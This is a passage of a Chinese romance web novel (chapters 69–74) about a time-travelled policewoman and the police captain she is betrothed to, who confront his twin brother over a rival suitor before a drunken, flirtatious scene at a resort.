《八零警花娇又飒,高冷队长心慌了》 第69章 脏水泼我 “哦。”安暖也不可能在楚隽面前说他哥哥多少坏话。 而且她没见过翟琛,不知道他的为人,确实也不能瞎说。 楚隽正色道:“我会去跟他聊,把这个事情问清楚的。我希望你也能相信我,我和董紫莺,确实没有工作以外的接触。” “我相信你。”安暖很爽快地说。 “真的?” “对。”安暖认真点头:“我相信你的人品,敢爱敢恨,不遮不藏。我不确定你会喜欢什么样子的姑娘,但是,我相信如果你有喜欢的姑娘,一定会告诉我,不会两边牵扯不清。” 这也是安暖答应翟老爷子的原因。 你可以和一个好人相处习惯尝试,但不要去靠近一个人品有问题的人,尝试都不要尝试。 被人这么信任着,楚隽心情十分不错。 “既然你相信我,那你就直说吧,你想到了什么办法?”楚隽道:“无论什么办法,我都可以配合。向浩然是我朋友,是我把你带过去,才让他看见你的。这件事情,我一定和你一起解决。” 楚隽是刑警,常年干的就是这个工作,对所有的人和事情,都多一份警惕。 向浩然第一次对安暖表白,他只当是一时兴起。 但事情发展到现在,确实不对劲了。 向浩然的另有所图,表现的有点明显了。 “好!”安暖破斧成舟一脸坚毅:“那我就说了。” “说吧。” 安暖做了个深呼吸。 楚隽也有点紧张了,感觉安暖要放大招了。 大招一出,有种非死即伤的可怕。 安暖说:“领证结婚必须声势浩大,人所皆知。那咱们就不领证。” 楚隽迟疑道:“不领证……怎么刺激向浩然?” 安暖伸手勾了勾楚隽的下巴。 “不领证,先洞房。” 楚隽吓得人往后一靠。 车没开出去果然是对的,可怕的事情还是得在稳当的地方说。要是开车在路上说,说不定一时失控要撞树。 “安暖。”楚隽声音有点干涩:“你知道自己在说什么吗?” “知道啊,所以我说你要有心理准备,办法有点激进。”安暖说:“不过你放心,只是装个样子,我们演一场戏。让向浩然以为我们在一起了,我不会真的占你便宜的。” 向浩然那样的花花公子,换女朋友像是换衣服一样,对这事情肯定不在意。 但是楚隽不一样。 楚隽洁身自好,肯定不会乱来。 安暖当然也没有和人不清不楚发生点什么的打算,这事情不必宣扬,只要找准时机,让向浩然知道就好了。 楚隽沉默半晌:“你以前……谈过男朋友吗?” “没有啊。” 安暖一点不心虚。 楚隽说的以前,肯定是她这身体的以前,又不是四十年后,确实是没有男朋友。 “嗯,那为什么……你对有些事情,那么轻松就能说出口呢?”楚隽有些不理解:“你一个女孩子,不会觉得不好意思吗?” 这问题问的,安暖正色道:“楚队,你也是在刑警队里待了那么久的人,怎么会问出这种奇怪的问题呢?” 在为难的问题前,最好的办法是推出去。 先问有没有,再说该不该。 “这问题很奇怪吗?” “当然很奇怪了。人世间有许多种关系,男女关系是很常见的一种。这种关系在警局更加的正常。你看法医室,尸检的时候,法医还要分男女吗?你看你们刑警队,难道受害者是女性,男刑警就不查了吗?” 楚隽听的似是而非,糊里糊涂。好像有那么点道理,又好像不是一回事。 半晌楚隽道:“你说得对。” 安暖欣慰地点了点头。 孺子可教。 “你这个提议,也是没有办法的办法。”楚隽道:“我可以理解。你一个姑娘家都不怕,我一个男人没什么矫情,我也可以配合。不过有些时候,世上没有不透风的墙,万一被人知道,风言风语,对你的名誉可是有很大损伤的。” 这个年代,姑娘家没了清白,真的是要被人戳脊梁骨的。 那时候只怕是她和楚隽这婚,是结也要结,不结也要结了。 但在一段不心甘情愿的婚姻里,无论男女,双方都是受害者。 安暖也不会觉得楚隽是个男人,就无所谓。 “我不怕,伸脖子一刀,缩脖子也是一刀,向浩然这事情必须处理,不然我觉得会出大事儿。”安暖咬了咬牙:“两害相权取其轻,名誉的事情暂时管不了了。” 安暖颇有种破背水一战的决绝。 顿了顿,安暖又道:“楚队你放心,我知道你的名誉很重要。如果真出了意外走漏了风声,我也不牵连你。我会把事情都担下来的。” “哦,你要怎么担下来?” “你就说我勾引你。”安暖大义凛然:“最多到时候准备点迷药,你就说我给你下药了,你什么都不知道。这样大家都会觉得你才是受害者,就没事儿了。” 楚隽被雷得说不出来。 半晌,缓缓道:“你可真是个能做大事的人,真够狠的。” 安暖苦笑了一下。 是个下下策,但是有什么办法呢? 这不也是没有主意的馊主意吗? “大不了……”安暖软绵绵往椅背上一靠:“最坏的结果,就是我带着骂名离开京市,回老家去呗,总是有退路的。” 而楚隽是本地人,要在京市生活一辈子的,不能在当地社死。 翟家,也不能有这样的风言风语。 如果一定要有脏水,冲她来就好了。 此刻,安暖豪情万丈。 但是楚隽伸手,在她脑袋上一拍。 “哎呀。” 安暖没想到楚隽竟然动手偷袭,赶紧捂住脑袋。 “干什么打我?” 安暖瞪向楚隽。 “年纪不大,脑子里都不知道装的是什么。”楚隽笑哼:“还说信任我,你就是这么信任我的?” “啊?” “啊什么?”楚隽很不满意:“我一个大男人,出了事情,让你一个女孩子去挨骂。你觉得我能干出这种事儿?” 楚隽的男子汉尊严受到了严重的蔑视和挑衅。 “那你有什么更好的办法?”安暖只好说:“想想爷爷,别气着爷爷。” “暂时没有,你这个下下策,先放在最后。”楚隽道:“我去查向浩然,当一个案子那样查。他这么反常,一定会有其他的举动。” 安暖一听,楚隽要当一个案子那么查,顿时放心了。 楚少也不靠谱,楚队必须靠谱。 第70章 请君入瓮 查,就要靠近。 也未必非要靠近向浩然,向浩然也有一些兄弟朋友。 在谢家宴会的那天,他在花园里,就是和旁人在聊天。 楚隽的办法十分简单粗暴。 “你能从声音,分辨出特定的脚步声的不同。那一个人说话的声音,你听过,再听第二次,能听出来吗?” “可以。” “好。”楚隽说:“我会去找谢家要昨日参加生日宴的名单,把名单里可能的人都约出来,到时候你听听他们说话,把花园里的那个人,找出来。” “好,这是个办法。” 楚隽和向浩然的关系好,而且,向浩然这人不好对付,要不然的话也不用那么费劲。 但是向浩然身边的人,可不是个个都那么硬的。 “行,那我来安排。”楚隽说:“你不必太担心,不过这段时间还是小心一点。家里和警局都很安全,如果出门不要一个人,上下班路上和我一起。” 安暖叹了口气。 这奇怪的感觉啊。 “我明明是被人追求,为什么像是被追杀?”安暖不解:“到底是我的毛病,还是向浩然的毛病?” 好在楚隽给出了肯定的答案。 “是他有问题。” “我也是这么认为的。”安暖被肯定了,松了口气:“走吧,回家。” 楚隽是个做事雷厉风行的人,说要,就要。 也不知道他用了什么借口,当天晚上就给谢家打了电话,又跑了一趟,要来了昨天晚上所有参加宴会的宾客名单。 这样的晚宴,请什么人,不请什么人,都是要仔细斟酌的。 这是不用坐在一起吃饭的,要不然,什么人坐在什么位置,讲究更多。还要注意客人和客人之间的身份,不能将关系不好的那排得一起,免得吵起来。 名单上的人很多,楚隽做了个分类。 安暖听见的是男人的声音,所以女性可以先剔除。 这一下子,就去掉了一大半。 剩下的人里,分成几级。 一类是非常可能的,二类是有些可能的,三类是几乎不可能的。 向浩然在京市也是知交遍天下的,昨晚他有些刻意避着楚隽,所以楚隽也不好确定他和什么人在聊。这事情也不好刻意去打听,免得真有什么不明情况,闹得人尽皆知就不好了。 第二天,楚隽将名单拿给安暖看。 很遗憾,看不出名堂,安暖一个都不认识。 “我整理出来这一批,七个人。他们和向浩然都有来往。其中有我熟悉的,也有我不熟悉的,熟悉的我可以直接约,不熟悉的也不要紧,一个约一个,没有喊不出来的人。在京市,无论是谁,多多少少也是要给我一些面子的。” 楚隽说这话的时候,还挺骄傲的。 “是是是,楚队长最厉害了。”安暖觉得楚隽这会儿还挺可爱的,顺水推舟夸上两句。 楚隽被夸得竟然有点不好意思了。 虽然夸他的人很多,但安暖这句敷衍,听着特别不一样。 今天是周五,明天周六。 翟家的聚餐就在周六。 这段时间天气好,阳光正好,春风和煦,虽然阳光下还有些热,但没有那种焦躁的感觉了。 楚隽说:“一般家里聚餐都在老宅,但我想着你来京市也有些日子了,每天都忙忙碌碌的,也没带你出去转转。所以我想着,这次我们在外面吃,定了个风景好环境好的地方,有吃有玩。” 安暖连连点头。 好,非常好。 谁不想有吃有玩呢。 “我和向浩然他们,也常在那里聚会。这次正好,中午和爷爷他们聚餐,吃完饭他们先散,我们不着急走,四处走一走。晚上,就约向浩然他们。” 楚隽是会过日子的,跑一趟,解决两件事情。 “可以,你看着安排,我都行。” 楚隽道:“水韵居那边也有住处,在那边玩得晚了,可以就在里面住下。到时候,你若是发现了可疑的人,正好可以约出来单独聊。” 完美。 “行,可以。”安暖无条件配合楚隽的安排。 警局这一天和往常没有什么区别,如果非要说的话,董紫莺请假了。 但这不是他们刻意去打听的,只是无意知道的。 两人都没说什么。 昨晚那件事情,只要董紫莺什么都不说,他们也不会对外说一个字。 第二天上午,众人起床,收拾,去水韵居。 翟琛没有回老宅,直接从自己的住处去。 楚隽开车带着安暖。 司机开了另一辆车,载着翟老爷子和保姆王婶。 楚父楚母,也自己开了车。 一大家子出门开一辆车不方便,万一后续各自有安排,还得找交通工具。 水韵居乍一看就不像是个吃饭的地方,更像是个庄园。 进了之后,经理迎来上来,和他们非常熟悉的样子。 楚隽定的包厢外面是个花园,里面是餐厅。九月份,院子里盛开着一大片木芙蓉和金贵。 “真好看啊。”安暖低声说:“吃饭应该没那么快,我能在外面转转吗?” “当然。”楚隽说:“这里风景不错,你随便转转。我去和经理确定一下菜单,看看有没有什么好东西。” 不知道楚隽说的好东西是什么,反正是合法的就行。 “好。” 楚隽去找经理了,安暖转了一圈,正要回去,看见他站在景观池边,正在喂水中的锦鲤。 楚隽回来了,是要开饭了吗? “楚隽。”安暖喊了一声,走了过去。 但是刚走两步,就停了下来。 这个人不是楚隽。 虽然身高,身材,脸都一样。衣服也很相似,但不是完全相同。 再仔细看,身材要略瘦一些,头发也不同。 安暖顿时明白了,这是楚隽的双胞胎哥哥翟琛。 安暖来京市也有一周了,楚家的人都见过了,只有翟琛,自始至终没有在老宅里露过面。 要说没见过,也算见过,但只那天在警局外面见了一面。 如果是在之前,她肯定会高高兴兴上去打招呼。 但现在不一样了。 虽然楚隽说他哥哥是个好人,但他的行为目前没有解释清楚,安暖就一定会有一分警惕。 翟琛看了一过来,笑了一下。 这种情况,安暖也不好当做没看见转身就走,走好迎了上去。 第71章 退一步,就要退第二步 “大哥你好。”安暖大大方方的:“您就是楚隽的大哥吧。” 难怪别人分不清谁对谁,确实是像。 如果翟琛穿上楚隽的衣服,在没有心理准备的情况下,真的容易看错。 翟琛没见过安暖,略有疑惑:“你是。” “我是安暖。”安暖说:“这几日一直住在老宅。” “哦,你就是安暖,阿隽那个指腹为婚的未婚妻。” “是。” 翟琛打量了一下安暖:“确实长得漂亮,也有气质,看着……不像是只上了几年小学的乡下女人。” 安暖的笑容顿时就收住了。 本来就觉得你不是个好人,如今一句话,证明你确实不是好人。 安暖道:“大哥过奖了,我先进去了。” 说完,安暖转身就走。 半句再多的话都没有。 翟琛愣了一下:“站住。” 安暖站住了。 “离开饭还有一会儿。”翟琛走过来两步,站在安暖对面:“未来弟妹,怎么这么着急走,不多聊几句。” “不聊了。”安暖淡淡道:“大哥是场面人,一定明白酒逢知己千杯少,话不投机半句多。今天是家宴,和为上。能聊多聊,不能聊不聊,别伤了和气,不好。” 翟家一家人。 爷爷,楚父,楚母,包括家里的保姆,对她的态度都不相同。有喜欢的,有不太喜欢的,但不管怎么样,都是客气的。 哪怕楚父楚母并不从心里接纳她这个儿媳妇,也是站在长辈的立场说话表态。 即便未来的儿媳妇不是她,也会将她当做家里人。当做楚隽的妹妹一般,不会亏待,更不苛责轻视。 只有翟琛,这态度一目了然了。 安暖又不傻,不会听不出其中的嘲讽。 翟琛大概没想到安暖会这么直白地怼他,实属没反应过来。 安暖又要走,翟琛伸手虚虚地拦了一下。 安暖道:“大哥,再多说就不合适了。” 你是什么身份,你拦我?你有什么资格拦我呢? 翟家还有老爷子,还有父亲,大哥可不是长兄如父那么重要的地位。 何况翟琛只比楚隽大几分钟,不是传统意义上的长兄。 翟琛被气得笑了一下。 “安暖,我确实没想到你是这样的人,有性格,有特色,有意思。” “多谢夸奖。” 不管翟琛怎么阴阳怪气,安暖就是不接招。 不管她以后会不会跟楚隽结婚,也没有必要在这里和翟琛吵架吧? 犯不上。 “确实是夸你,不过我也明白了,为什么你来家里没几天,老爷子就同意了你和阿隽的婚事。”翟琛沉下脸来:“不过今天,我就直说了,你们俩的婚事,我不同意。” 安暖真想翻个白眼,你脸大,你不同意。 我和楚隽还不同意呢,那又怎么样? 安暖看着翟琛,这感觉十分神奇。 他跟楚隽长的确实一样,好像是一个人撕裂成了两个。 但他们俩说话的语气态度截然不同。 就好像人格分裂分出了实体一样。 幸亏现在是白天,阳光下一切妖魔无可遁形。 安暖没有对翟琛的不同意表现出什么心情浮动,只是很微妙地问:“楚隽的婚事……是你做主吗?” 翟琛的脸色猛地变了。 这话戳心窝子了。 安暖就差直白地问了,你同意还是不同意,有用吗?别把自己当根菜。 “你说得对。”翟琛抱着胳膊,有些高高在上:“楚隽的婚事,确实不是我说了算。但我是他大哥,如果我坚决反对,你觉得,你们的婚事会顺利?如果你真是个聪明人,就该想想怎么讨好我,而不是这么和我说话。” 一时间,小花园里鸟语花香,黑云压顶。 安暖觉得,翟琛是个实在人。 有不满意当面说出来,这很好。 总好过表面笑嘻嘻,背地里捅你一刀。 “大哥,你是个坦率的人,那我跟你说句实话。” “你说。” “婚姻是两个人的事情。适应,考察,都是对彼此的。我来京市,本来是要退婚的,因为一些原因,现在和楚隽正在相处中磨合尝试。所以,和你想的可能不一样,我,不是哭哭啼啼来求这门婚事的。” 当时不是,现在不是,以后也不会是。 如果翟老爷子,或者楚隽父母,有一个人是翟琛这样的态度,她可能早就搬出楚家了。 翟琛不相信:“你就不想嫁进我们家?嫁给楚隽,你可就麻雀变凤凰了。” “怎么说呢……”安暖组织了一下语言:“结婚是件大事,无论对男女来说,都是一件足以影响下半辈子人生走向的事情。在结婚前,和另一半以及他的家庭的接触,会定下婚后的基调。如果我婚姻的开始就是委曲求全,低三下四,那这个婚姻给我带来的,一定不是幸福和安稳。” 忍一时,越忍越苦。 退一步,就有二三四五步。 “而且。”安暖很好奇:“大哥,你说我现在应该讨好你,那你觉得,我应该怎么讨好你呢?或者说,你需要我怎么讨好你?我讨好你之后,你就会赞成我们的婚事吗?” 翟琛脱口而出:“当然不会。” “那我为什么要做无用功?”安暖两手一摊开,在翟琛没来得及心情转换猝不及防之下,突然问道:“你认识董紫莺?” 翟琛脸色瞬间变了。 果然有关系。 安暖不给翟琛思索的时间,立刻进一步道:“前天早上我看见你们了,她是不是你讨厌我的原因?” “你别瞎说!” 翟琛脱口而出,往前一步,一把抓住了安暖的胳膊。 这一下力气不小,安暖一声惊呼。 “放手!” 翟琛没有放手,面上表情有些凶。 “我确实认识董法医,那是阿隽的同事。人家是清清白白的一个姑娘,你这样瞎说,会坏了她的名声。” 安暖手臂被抓得有些痛,挣了一下没有挣脱,也生气了。 “大哥,你维护她的表情太明显了。”安暖顿了顿:“你不放手,我就喊了。” 里面就是包厢,外面有服务生,这可不是个法外之地。 “你……” 翟琛正要说话,一侧小路上传来楚隽的声音。 “放手。”楚隽刚和经理确认完菜单,从拱门过来,看见这情况吓了一跳,飞快的跑了过来。 翟琛惊觉自己事态,一把甩开安暖的手。 安暖立刻退了一步,楚隽正好赶到,拦在她面前。 第72章 故意伤害 “大哥,你干什么?”楚隽压着声音,不悦质问。 他转过来的时候,没听见两人说话,但是看见了翟琛抓着安暖的手臂。 这无论如何是不合适的。 “哦,阿隽啊。”翟琛摆出一副无所谓的样子来:“我和小安聊天呢,聊得有点激动了。” 楚隽回头看安暖一眼。 显然聊得不是有点激动了,是有点不愉快了。 翟琛和楚隽兄弟俩一般大,从小生活在一起,一直到成年工作之后,都忙了起来,才聚少离多,不可谓不亲近。 但是亲近归亲近,楚隽对翟琛没有依恋和服从,是平起平坐的。 特别是现在。 现在兄弟俩都大了,不是小时候天天打架的年纪了,但真要打起来,翟琛肯定不是楚隽的对手。 翟琛这么说,显然是息事宁人了。 今天家宴,和乐融融,闹出来不好。 但是安暖一把抓住楚隽的胳膊,站在他身后说:“大哥不同意咱们俩的婚事,他支持董紫莺。” 一句话,翟琛的脸都绿了。 安暖真的是会概括总结的。 虽然不知道其中内情,但根据董紫莺和翟琛见面后和楚隽表白,以及刚才翟琛的语气神态,安暖觉得自己推断得没错。 这句话,肯定是精准核心。 楚隽的脸色也很奇怪。 他本想着,这事情电话里不好说,今天正好要见面吃饭,吃完饭兄弟俩面对面好好聊一聊。没想到还没开始聊,就出了这么个事情。 “暖暖。”楚隽疑惑道:“你这是什么意思?” 安暖道:“字面意思。” “你胡说。”翟琛往前走了一步,一伸胳膊,甚至还想要把安暖拽出去。 不过有楚隽挡在中间,他就不要想了。 “哥。”楚隽厉声道:“我不管你和安暖有什么误会,我也不管你和董紫莺之间是什么关系,你有话好好说,不要动手。不然别怪我不客气。” 哟哟,楚隽这话说得还怪不客气的呢。 安暖心里更有底气了。 “这就维护上了?”翟琛冷笑一声收回手:“阿隽,你真喜欢上她了?” “这是两回事。”楚隽滴水不漏:“我答应了爷爷,要好好照顾她,就不能让她被人欺负了。” 包厢那边,传来召唤的声音。 翟琛看一眼安暖:“你多心了,你这未婚妻,可不好欺负。” 说完,翟琛便往包厢走去。 楚隽打量了安暖一下:“你没事儿吧?他有没有伤着你?” “没事儿。”安暖甩了甩胳膊:“赶紧去吃饭吧,这事情一会儿再说。” 楚隽有点担心:“好,你要是有什么不舒服的,要跟我说。” 安暖可不是刑警队里精干的女警,有时候还有点娇滴滴的。嘴上虽然厉害,但是身体有点娇弱。 两人进了饭厅。 翟琛已经坐下了,就坐在老爷子的左手边。 老爷子身边留了两个空位,一见安暖进去,老爷子就说:“暖暖,来,坐在我旁边。” 于是安暖就坐在翟老爷子的右手。 人年纪大了,就喜欢孩子。儿子儿媳妇那都是过去式了,现在是孙子孙媳妇,等有了重孙子,孙媳妇也要往下排。 众人落坐,开始吃饭。 翟老爷子道:“暖暖还没见过大哥吧。你看看,是不是和照片上一样,这俩小子,长的一模一样。” “我刚才在外面已经看见大哥了。”安暖说:“确实是一样,要不是穿的衣服不一样,我都差点认错人。” 翟老爷子哈哈一笑,想的挺长远。 “我们家啊,有双胞胎的基因。”老爷子说:“等你和阿隽结婚以后,说不定也能生一对双胞胎,要是那样可就太好了。” 这是什么奇怪的长远计划啊,不过谁也不好驳回老爷子的美好愿望,只好跟着哈哈哈。 安暖夹了一筷子菜,觉得手腕有点痛,差一点没握住筷子。 她顿了顿,放下筷子,换了只手。 左手,右手,无缝切换。 这举动很小,没人注意,但是楚隽注意到了。 一顿饭和乐融融,倒是没有什么矛盾。 翟琛也不敢在老爷子面前乱说话,刚才说反对那么狠,让他在这提出来,他也不敢。不但不敢嘴还挺甜,不时的说点好听的哄老爷子开心。 下午一点半,酒足饭饱。 老爷子是需要午休的,吃完饭便回去了。 楚父楚母也离开了。 “你们兄弟也有日子没见了,要是没事儿就多聚聚。阿隽,这里玩儿的多,你也带暖暖多转转。” “好的。” 兄弟俩带着安暖,三个人目送两辆车离开。 爷爷和爸爸妈妈离开后,楚隽便握了握安暖的手。 “暖暖。” “嗯。” “跟我过来,我定了包房休息。” “好。” 楚隽跟着安暖走了,翟琛也跟在后面。 他们之间有什么矛盾也好,有什么误会也好,也不能在大庭广众吵起来。 楚隽定了一个套房,进去休息。 套房里有两个房间,客厅,各种设备齐全。 楚隽进去之后,便道:“暖暖,你坐下。” “嗯,怎么了?” 桌上,放着一个小箱子。 楚隽打开箱子,里面有一些急救药品。 “我刚才看你换手拿筷子了。”楚隽道:“是不是手腕不舒服。” “哦,还好,只是有点痛,应该一会儿就好了。” “我看看。”楚隽拽过安暖的手放在桌上。 大概是有些扭着了,问题也没有什么大问题。 “我给你用药酒揉一揉。” 楚隽倒了点药酒出来,在手心里搓热,给楚隽揉手腕。 翟琛就坐在对面,冷冷的看着这一幕。 看了一会儿,翟琛道:“阿隽,我看你和她处得挺好,你们俩……不是真的在处对象吧?” 楚隽叹了口气。 “哥,在说其他之前,我觉得,你应该先和暖暖道个歉。对一个女孩子动手,这不像你。” 翟琛没有回答楚隽的问题,却看向安暖:“小安,你觉得呢?” 安暖板起脸:“楚队长,今天这种情况,我可以报警,告他故意伤害吗?我这胳膊,能去验伤吗?” 翟琛的脸都僵了。 “开个玩笑。”安暖突然一笑:“吓唬你的。不过大哥,动手确实不对,下不为例。” 第73章 单身狗受伤了 这是给翟老爷子的面子,也是给楚隽的面子。 至于对翟琛,她说的都是实话。 翟琛可以不满意她,但是无论他什么态度,安暖在这段关系里,也没有忍气吞声的打算。 这不是一时,是一世。 尊严一退,就是一辈子啊。总不能等七老八十,子孙满堂的时候,才去做什么当家老祖宗老太太吧。 翟琛突然发现一件可怕又郁闷的事情。 他之前想象中,安暖是一个无依无靠的姑娘,从乡下老家千里迢迢远赴京市,又是寄人篱下,应该比较软,好说话才对。 没想到那么硬气。 安暖一硬气,他就不占理了。 楚隽一边和安暖揉手腕,一边说:“大哥,我正好有事情要问你。” “等一下,我们单独聊。” 楚隽抬了抬手阻止:“哥,如果是和安暖有关的事情,你就直说吧。你藏着掖着,搞得好像我们兄弟俩合伙算计她一样。” “行,那我就直说了。”翟琛看着楚隽那样子,气不打一处来:“董紫莺的事情,你告诉她的?” 这一问,楚隽和安暖面上都有点尴尬。 “怎么了?”翟琛顿时觉得有情况。 “这个事情,不是我告诉她的。”楚隽道:“当时董紫莺对我表白的时候,安暖也在场。” 翟琛惊呆了。 万万没想到董紫莺这么生猛。 当着未婚妻的面,横刀夺爱吗?跟他预想的不太一样啊。 “只是意外。”安暖解释道:“是董法医在法医室向楚隽表白,我正好去送资料,就不小心看见了。不过这个不重要了。” 表白很正常,拒绝也很正常,过去了就是过去了。 楚隽也觉得不重要。 “哥。”楚隽单刀直入:“你是不是喜欢董法医?” 弟弟弟媳太直白,翟琛哽了一下。 “你瞎说什么?”翟琛的脸立刻就红了。 “我可没见过你和哪个女人那么热络。”楚隽给安暖揉完了手腕,放下,一边将东西都收拾起来,一边不紧不慢的看翟琛:“哥,你是不是喜欢董法医?” 翟琛的脸更红了。 “你真喜欢董法医?”楚隽惊了:“什么时候的事情?我怎么不知道?” 安暖看了翟琛的态度,本来心情是不好的。 但这会儿八卦之心冲上云霄,那点好不好的,立刻就烟消云散了。 但翟琛没有否认。 楚隽就搞不懂了。 “你喜欢她,为什么让她找我表白?你自己怎么不追?” 翟琛起身走到酒柜前,倒了一杯酒,一饮而尽。 “我是喜欢她,但是她喜欢你。” 翟琛放下酒杯,一掌拍在桌子上。 楚隽面无表情看着她。 “大哥,你什么时候这么谦让了?这可不像是你的作风。” 和安暖见了第一面,就开威胁嘲讽差点动手,这可不是一个隐忍人设啊。 翟琛自嘲的笑了一下:“我不是谦让,只是感情这事情不可勉强。她心里眼里只有你,我能说什么呢?只是……董法医是个好姑娘,你们在一个地方工作,也有共同话题,她也能了解你工作的辛苦,你为什么不尝试着接纳她?” 兄弟俩竟然聊起了这个。 安暖咳嗽了一声。 两人一起看她。 安暖用空杯子敲了敲桌子,然后站起身。 “大哥,不合适了啊。挖墙脚也没有这么当面挖的。” 之前怎么看楚隽怎么不顺眼的时候,也想过,为什么当时定了婚约的人是楚隽呢?怎么不是大哥翟琛呢,换了翟琛,不知道会不会好一点。 现在看来,老天的安排已经是最好的了。 楚隽在翟家这两兄弟里,那就算不错的,矮子里面拔将军了。 “大哥。”安暖不紧不慢卷好袖子,走过去给自己也倒了杯酒,然后一饮而尽,哐当一声将酒杯放在桌上。 真辣! 这一刻,莫名的气势万千。 “大哥,我喊你一声大哥,你也不能太拉胯。你明知道我和楚隽有婚约在磨合,上赶着给他塞女人,这是瞧不起他,瞧不起我,还是瞧不起董紫莺。人家本来清清白白一个好姑娘,被你一怂恿,差一点成第三者。” “胡说!”翟琛脸色铁青:“董紫莺不是第三者。” “明知道楚隽有未婚夫,还对他表白,你说这合适吗?这事情但凡传出去一星半点,你们家的脸都不要了,董紫莺的名声也不要了。” 安暖真不知道,一个那么大的人了,在感情上怎么会那么天真。 虽然向浩然是别有所图,但真应该给翟琛好好的上一课,让他学着点。 “历来权利不会一家独大,世家和世家之间,既有合作,也有制衡,更有争夺。大哥,你也这么大的人了,难道不懂这个道理。你能教董紫莺去又争又抢,为什么自己不去呢?你让楚隽尝试接受她,你怎么不让董紫莺尝试接受你?你要是有董紫莺的勇气,说不定早就抱得美人归了。” 翟琛阴沉着脸看楚隽。 “阿隽,你就任由你未婚妻,这么跟我说话?” “她是我的未婚妻,我们俩自然是一心的。她说的话就是我想说的话。”楚隽懒洋洋换了个姿势,张开手臂,搭在安暖肩膀上:“大哥,你鼓励董紫莺跟我表白这事情,你不会觉得,我也是赞许的吧?” 翟琛第一次感受到作为单身狗受到的伤害。 抛开谁有理谁没理,二打一,这就有点势单力薄。 “我和安暖的关系,我们会自己处理,希望你不要再自作主张。”楚隽正色道:“至于董紫莺,我若是喜欢,也等不到她对我表白。可我不喜欢,也不想耽误了人家。大哥,你做什么事情都很果断,感情上,我也希望你勇敢一点,毕竟你是哥哥,你要是能在我之前结婚,那就更好了。” 安暖没再说话了,好像有一点走神。 天气还热,穿着短袖。 楚隽搭在安暖肩上的手,只隔了一层薄薄的布料,能感觉到不了下的皮肤有些热。 翟琛现在脑子很乱。 他以为今天是来为董紫莺清除障碍,为她说话的。 没想到被安暖教育了一番。 “行,那我先走了。”翟琛站起身:“这段时间我不忙,会经常回老宅吃饭的。小弟妹,咱们下次再见,下次再聊。” “再见。”安暖招招手,想要站起来,但是晃了晃,差一点摔倒。 楚隽连忙扶住。 “这是怎么了?” “有点晕。” 安暖又坐下了。 楚隽一回头,看见酒柜上少了一小半的酒瓶。 第74章 单手公主抱 楚隽惊了:“你喝这么烈的伏特加?” “额……”安暖摆摆手:“没注意。” 当时觉得要喝点什么,随便倒了一小杯。她对酒也没什么研究,入了口才觉得辣,那会儿也不能吐出来了。 自己倒的酒,自己装的酷,死也要撑住。 楚隽看着安暖的脸一点点红了起来,有点担心。 “你不会酒精过敏吧?我送你去医院。” “没事儿,我不酒精过敏。”安暖拍开沈淮的手:“就是刚才喝的有点急了,我靠一会儿就好。” 安暖只觉得一阵燥热,伸手扯了扯衣领。 这年代的衣服都挺保守,领子上的扣子都是扣到最上面一个的。这会儿感觉勒的有点紧了,安暖觉得,解开一两个,舒服。 但刚来得及拽开一个,就被楚隽按住了。 “你干什么?”楚隽一看这架势比安暖还慌,连忙又给扣上了:“我给你拧个毛巾擦擦脸,你先靠着。” “好。” 幸亏她上次去酒吧没喝酒,看来是对的。 这个身体的酒量是真的不行,不说一杯倒吧,喝多了容易出事。 安暖靠在沙发上,看着楚隽忙忙碌碌。 让服务生送醒酒汤,给她倒了杯水,又去端了盆水,拧了块毛巾。 “来,我给你擦一擦。”楚隽将毛巾按在安暖的脸上。 冰凉的毛巾,瞬间让人降温,舒服多了。 安暖忍不住发出一声轻叹。 楚隽觉得他也有点热了。 服务生送了醒酒汤过来,敲了敲门。 “进来。” 服务生推门出去的时候,门没有关严实,留下了一条缝隙。 “来,喝醒酒汤。”楚隽端起碗。 安暖伸手去接,但是被避开了。 楚隽觉得,安暖这个状态,这一碗汤肯定有一半得洒在沙发上。 “我喂你。” 楚隽将醒酒汤送到安暖嘴边,小心翼翼的。 还好早上出来的时候,就打算在这里过一夜,所以带了换的衣服。不然弄湿了弄脏了,还挺麻烦。 安暖张嘴喝了两口。 没想到楚隽是个照顾人这么细心的性子,她挺满意,也挺受用,也不挣扎。 为什么要挣扎呢,退一万步,这也没什么。 其实孤男寡女,现在这情况是很暧昧的,安暖靠在沙发上,楚隽侧身坐在一旁,两人挨的那么近,这是很不妥当的。 但是因为多了一层正经的未婚夫妻关系,和一层不正经的谈恋爱关系,所以两人之间的关系,又有一种默认的可以靠近。 楚隽是个很有分寸的人,和其他女同事,女性朋友都会注意保持距离。但是在安暖这里,好像没太注意过。 安暖就着楚隽的手,一口一口地,喝了汤。 “怎么样,舒服点吗?”楚隽说:“现在是两点半,你睡一会儿。要是晚上起得来,就去和向浩然他们聚餐。要是起不来你就睡,我自己过去,让人把晚饭给你送到房间来。” 不得不说,会工作的人,也会生活。 如果楚隽愿意照顾一个人,是很细心的。 “好。” 安暖应了一声,想要站起来。 不过喝多了的状态是,不动的时候还行,一动一闭眼,天旋地转。 安暖一晃,被楚隽一把扶住腰,又坐下了。 “你下次可真别喝酒了。”楚隽头痛:“要是想喝点,也只能在我在的时候喝,不然太不叫人放心了。” “嗯……”安暖应一声,然后换个腔调:“嗯?” 为什么要在,楚隽在的时候喝?更有安全感吗? “别动,我抱你去休息。” 楚隽俯身弯腰,一手扶住安暖的腰,一手扶住她肩膀。 突然,安暖道:“等一下。” “怎么了?” 安暖说:“你能……单手抱得动我吗?” 楚隽愣了一下:“什么意思?” “就是字面上的意思。”安暖酒精上头,突发奇想:“一只手,抱得动吗?” 穿过来之前,短剧看多了。 男主单手抱女主,另一只手拎着包,唯美。 突然想试一试。 安暖是真的有些醉了,醉了以后,想法就特别多。 “我没有问题,就你这重量,抱两个都行。”楚隽说:“但是单手抱,你得搂着我脖子挂着自己的体重。你能搂的住吗?” 安暖被问住了,这还真是个问题。 楚隽认识安暖以来,一直都是冷静理智的,难得有迷迷糊糊还任性说瞎话的时候,看着还挺有意思的。 楚隽也不着急了,看着安暖歪着脑袋,认真地思考这个问题。 “要不试一试?” 楚隽突然想逗逗安暖。 “试试。” 楚隽靠近一些,略低下头,方便安暖伸手。 喝醉的安暖格外豪爽,伸手搂住了楚隽的脖子。 “搂好了,别摔着。”楚隽伸手挽起安暖的腿,微微用力。 抱起一个安暖,对他来说确实轻而易举。 安暖能感觉自己的背离开了沙发,然后,手腕刚才揉了药酒的地方一痛,搂不住了。 “哎不行。”安暖连忙说:“快放下……” 醉酒的人格外的沉,自己再往下一坠。楚隽正在将人抱起来的发力过程中,没有地方支撑,被安暖一拽,往前扑去。 